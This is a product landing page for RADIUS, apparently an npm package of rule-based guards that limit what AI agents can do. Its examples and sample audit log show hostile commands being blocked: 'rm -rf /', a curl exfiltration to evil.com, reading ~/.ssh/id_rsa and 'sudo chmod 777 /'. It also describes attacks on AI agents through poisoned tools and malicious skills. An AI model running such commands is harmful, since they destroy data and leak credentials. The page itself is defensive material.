UNBOUNDED 30:00
RADIUS

Draw the boundary.

Deterministic security controls for AI agents. No LLM in the decision loop.

Compatible OpenClaw Nanobot Generic
MODE: STANDARD
RADIUS: STANDARD
Operational. Boundaries active.
$ npm install agentradius COPY
"The more data & control you give to the AI agent: (A) the more it can help you AND (B) the more it can hurt you." Lex Fridman

The problem

Your agent has root access to your machine. Your security layer is a system prompt that says "please be careful." Think about that for a second.

Prompt-based

User: "Please don't delete my files..."

Agent: "I understand. I'll be careful."

Agent: rm -rf /

RADIUS

Agent attempted: rm -rf /*

[ blocked by command_guard ]

Topology constraint violated. Action nullified.

Why this matters

Numbers from 78 validated research sources (114 analyzed), Feb 2026.

13.4%

Of 3,984 marketplace skills scanned, 534 had critical issues. 76 were confirmed malicious — install-time scripts that stole credentials.

6/6

Researchers tested six coding agents for tool injection. All six gave up remote code execution through poisoned tool metadata.

85%+

A 78-study survey found most prompt-based guardrails break under adaptive red-team attacks. The LLM can't reliably police itself.

Every guard in RADIUS runs before the agent acts. A regex match on rm -rf is true or false. The agent can't talk its way past it.

Full source list in the research appendix.

Modules

Eleven modules, none with an LLM. They block or allow based on rules you write.

fs_guard

Blocks file access outside allowed paths. ~/.ssh, ~/.aws, /etc are unreachable.

command_guard

Matches shell patterns — sudo, rm -rf, pipe chains. Blocked before execution.

egress_guard

Outbound network filter. Allowlist by domain, IP, port. Everything else dropped.

output_dlp

Catches secrets in output — AWS keys, tokens, private certs. Redacts or blocks.

rate_budget

Caps tool calls per minute. Stops runaway loops.

skill_scanner

Inspects skills at load time for injection payloads: zero-width chars, base64 blobs, exfil URLs.

approval_gate

Sends risky operations to your Telegram for one-tap approval. You decide from your phone.

audit

Append-only log. Every action, every timestamp. Can't be edited or deleted.

kill_switch

Emergency stop. Set an env var or drop a file, all risky actions halt.

tool_policy

Allow or deny by tool name. Optional argument schema validation. Default deny.

exec_sandbox

Wraps commands in bwrap. Restricted filesystem and network access.

Three postures

One config change. Pick the containment level that matches your context.

Local

Zero trust. Total containment.

Production, billing, credentials. Default deny. Sandbox required. 30 calls/min.

Standard

Trust but verify.

Development, staging, daily work. Default deny. Secrets redacted. 60 calls/min.

Unbounded

Open. Logging only.

Research, brainstorming, migration. Observe mode. Logs everything, blocks nothing. 120 calls/min.

Get running

terminal
$ npm install agentradius
$ npx agentradius init --framework openclaw --profile standard
$ npx agentradius doctor # verify setup
$ npx agentradius pentest # test your defenses
Audit log
[10:49:01] WARN Agent tried ~/.ssh/id_rsa → REDACTED
[10:49:02] INFO Tool call 'calculator' → ALLOWED
[10:49:03] DENY rm -rf /* → BLOCKED BY COMMAND_GUARD
[10:49:04] INFO Tool call 'web_search' → ALLOWED
[10:49:05] WARN Output contained AKIA*** → REDACTED
[10:49:06] DENY curl https://evil.com/exfil → BLOCKED BY EGRESS_GUARD
[10:49:07] INFO Tool call 'read_file' → ALLOWED
[10:49:08] DENY sudo chmod 777 / → BLOCKED BY COMMAND_GUARD